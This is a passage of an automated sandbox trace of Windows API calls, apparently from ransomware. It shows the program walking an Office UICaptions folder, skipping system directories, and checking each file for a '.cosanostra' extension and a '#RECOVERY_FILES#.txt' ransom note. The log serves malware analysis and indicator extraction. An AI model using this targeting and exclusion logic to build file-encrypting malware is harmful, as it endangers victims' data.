(lpString1="MSOINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.808] lstrlenW (lpString="Program Files") returned 13 [0080.808] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.808] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.808] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.808] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.808] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.808] lstrlenW (lpString="System Volume Information") returned 25 [0080.808] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned 71 [0080.808] StrStrIW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.808] lstrcmpW (lpString1="MSOINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.808] lstrcmpW (lpString1="MSOINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.808] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned 71 [0080.808] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.808] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Windows") returned -1 [0080.808] lstrlenW (lpString="Windows") returned 7 [0080.808] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Program Files") returned -1 [0080.808] lstrlenW (lpString="Program Files") returned 13 [0080.808] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.808] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.808] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.808] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.808] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.808] lstrlenW (lpString="System Volume Information") returned 25 [0080.808] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned 72 [0080.808] StrStrIW (lpFirst="MSOINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.808] lstrcmpW (lpString1="MSOINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.808] lstrcmpW (lpString1="MSOINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.808] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned 72 [0080.808] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.808] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.808] lstrlenW (lpString="Windows") returned 7 [0080.808] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.808] lstrlenW (lpString="Program Files") returned 13 [0080.808] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.808] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.808] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.808] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.808] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.808] lstrlenW (lpString="System Volume Information") returned 25 [0080.808] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned 71 [0080.808] StrStrIW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.808] lstrcmpW (lpString1="OMSINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.809] lstrcmpW (lpString1="OMSINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.809] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned 71 [0080.809] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.809] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.809] lstrlenW (lpString="Windows") returned 7 [0080.809] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.809] lstrlenW (lpString="Program Files") returned 13 [0080.809] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.809] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.809] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.809] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.809] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.809] lstrlenW (lpString="System Volume Information") returned 25 [0080.809] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned 70 [0080.809] StrStrIW (lpFirst="ONINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.809] lstrcmpW (lpString1="ONINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.809] lstrcmpW (lpString1="ONINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.809] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned 70 [0080.809] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.809] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Windows") returned -1 [0080.809] lstrlenW (lpString="Windows") returned 7 [0080.809] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Program Files") returned -1 [0080.809] lstrlenW (lpString="Program Files") returned 13 [0080.809] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.809] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.809] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.809] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.809] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.809] lstrlenW (lpString="System Volume Information") returned 25 [0080.809] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned 71 [0080.809] StrStrIW (lpFirst="ONINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.809] lstrcmpW (lpString1="ONINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.809] lstrcmpW (lpString1="ONINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.809] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned 71 [0080.809] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.809] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Windows") returned -1 [0080.809] lstrlenW (lpString="Windows") returned 7 [0080.809] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.809] lstrlenW (lpString="Program Files") returned 13 [0080.809] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.809] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.809] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.809] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.809] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.809] lstrlenW (lpString="System Volume Information") returned 25 [0080.809] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned 72 [0080.809] StrStrIW (lpFirst="OUTLLIBR.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.809] lstrcmpW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.809] lstrcmpW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.810] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.DLL.trx_dll") returned 72 [0080.810] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.810] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Windows") returned -1 [0080.810] lstrlenW (lpString="Windows") returned 7 [0080.810] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Program Files") returned -1 [0080.810] lstrlenW (lpString="Program Files") returned 13 [0080.810] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.810] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.810] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.810] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.810] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.810] lstrlenW (lpString="System Volume Information") returned 25 [0080.810] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned 73 [0080.810] StrStrIW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.810] lstrcmpW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.810] lstrcmpW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.810] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll") returned 73 [0080.810] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.810] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Windows") returned -1 [0080.810] lstrlenW (lpString="Windows") returned 7 [0080.810] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.810] lstrlenW (lpString="Program Files") returned 13 [0080.810] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.810] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.810] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.810] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.810] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.810] lstrlenW (lpString="System Volume Information") returned 25 [0080.810] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned 71 [0080.810] StrStrIW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.810] lstrcmpW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.810] lstrcmpW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.810] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned 71 [0080.810] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.810] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.810] lstrlenW (lpString="Windows") returned 7 [0080.810] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0080.810] lstrlenW (lpString="Program Files") returned 13 [0080.810] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.810] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.810] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.810] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.810] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.810] lstrlenW (lpString="System Volume Information") returned 25 [0080.810] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned 70 [0080.811] StrStrIW (lpFirst="PPINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.811] lstrcmpW (lpString1="PPINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.811] lstrcmpW (lpString1="PPINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.811] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned 70 [0080.811] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.811] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Windows") returned -1 [0080.811] lstrlenW (lpString="Windows") returned 7 [0080.811] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Program Files") returned -1 [0080.811] lstrlenW (lpString="Program Files") returned 13 [0080.811] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0080.811] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.811] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.811] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.811] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.811] lstrlenW (lpString="System Volume Information") returned 25 [0080.811] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned 71 [0080.811] StrStrIW (lpFirst="PPINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.811] lstrcmpW (lpString1="PPINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.811] lstrcmpW (lpString1="PPINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.811] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned 71 [0080.811] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.811] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.811] lstrlenW (lpString="Windows") returned 7 [0080.811] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.811] lstrlenW (lpString="Program Files") returned 13 [0080.811] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.811] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.811] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.811] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.811] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.811] lstrlenW (lpString="System Volume Information") returned 25 [0080.811] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned 72 [0080.811] StrStrIW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.811] lstrcmpW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.811] lstrcmpW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.811] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned 72 [0080.811] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.811] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Windows") returned -1 [0080.811] lstrlenW (lpString="Windows") returned 7 [0080.811] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Program Files") returned 1 [0080.811] lstrlenW (lpString="Program Files") returned 13 [0080.811] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.811] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.811] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.811] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.811] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.811] lstrlenW (lpString="System Volume Information") returned 25 [0080.811] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned 73 [0080.812] StrStrIW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.812] lstrcmpW (lpString1="PUB6INTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.812] lstrcmpW (lpString1="PUB6INTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.812] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned 73 [0080.812] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.812] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Windows") returned -1 [0080.812] lstrlenW (lpString="Windows") returned 7 [0080.812] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Program Files") returned 1 [0080.812] lstrlenW (lpString="Program Files") returned 13 [0080.812] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.812] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.812] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.812] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.812] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="System Volume Information") returned -1 [0080.812] lstrlenW (lpString="System Volume Information") returned 25 [0080.812] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned 73 [0080.812] StrStrIW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.812] lstrcmpW (lpString1="PUBWZINT.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.812] lstrcmpW (lpString1="PUBWZINT.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.812] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned 73 [0080.812] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.812] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Windows") returned -1 [0080.812] lstrlenW (lpString="Windows") returned 7 [0080.812] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.812] lstrlenW (lpString="Program Files") returned 13 [0080.812] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.812] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.812] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.812] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.812] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.812] lstrlenW (lpString="System Volume Information") returned 25 [0080.812] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned 69 [0080.812] StrStrIW (lpFirst="SGRES.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.812] lstrcmpW (lpString1="SGRES.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.812] lstrcmpW (lpString1="SGRES.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.812] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned 69 [0080.812] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.812] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.812] lstrlenW (lpString="Windows") returned 7 [0080.812] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.812] lstrlenW (lpString="Program Files") returned 13 [0080.812] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.812] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.812] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.812] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.812] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0080.813] lstrlenW (lpString="System Volume Information") returned 25 [0080.813] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned 70 [0080.813] StrStrIW (lpFirst="STINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.813] lstrcmpW (lpString1="STINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.813] lstrcmpW (lpString1="STINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.813] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned 70 [0080.813] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.813] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Windows") returned -1 [0080.813] lstrlenW (lpString="Windows") returned 7 [0080.813] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.813] lstrlenW (lpString="Program Files") returned 13 [0080.813] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.813] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.813] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.813] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.813] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0080.813] lstrlenW (lpString="System Volume Information") returned 25 [0080.813] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned 72 [0080.813] StrStrIW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.813] lstrcmpW (lpString1="VISBRRES.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.813] lstrcmpW (lpString1="VISBRRES.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.813] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned 72 [0080.813] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.813] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0080.813] lstrlenW (lpString="Windows") returned 7 [0080.813] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.813] lstrlenW (lpString="Program Files") returned 13 [0080.813] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.813] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.813] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.813] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.814] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0080.814] lstrlenW (lpString="System Volume Information") returned 25 [0080.814] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned 71 [0080.814] StrStrIW (lpFirst="VISINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0080.814] lstrcmpW (lpString1="VISINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0080.814] lstrcmpW (lpString1="VISINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0080.814] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned 71 [0080.814] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0080.814] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Windows") returned 1 [0080.814] lstrlenW (lpString="Windows") returned 7 [0080.814] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0080.814] lstrlenW (lpString="Program Files") returned 13 [0080.814] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0080.814] lstrlenW (lpString="Program Files (x86)") returned 19 [0080.814] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0080.814] lstrlenW (lpString="$Recycle.bin") returned 12 [0080.814] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0080.814] lstrlenW (lpString="System Volume Information") returned 25 [0080.814] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned 70 [0080.814] StrStrIW (lpFirst="WWINTL.DLL.trx_dll", 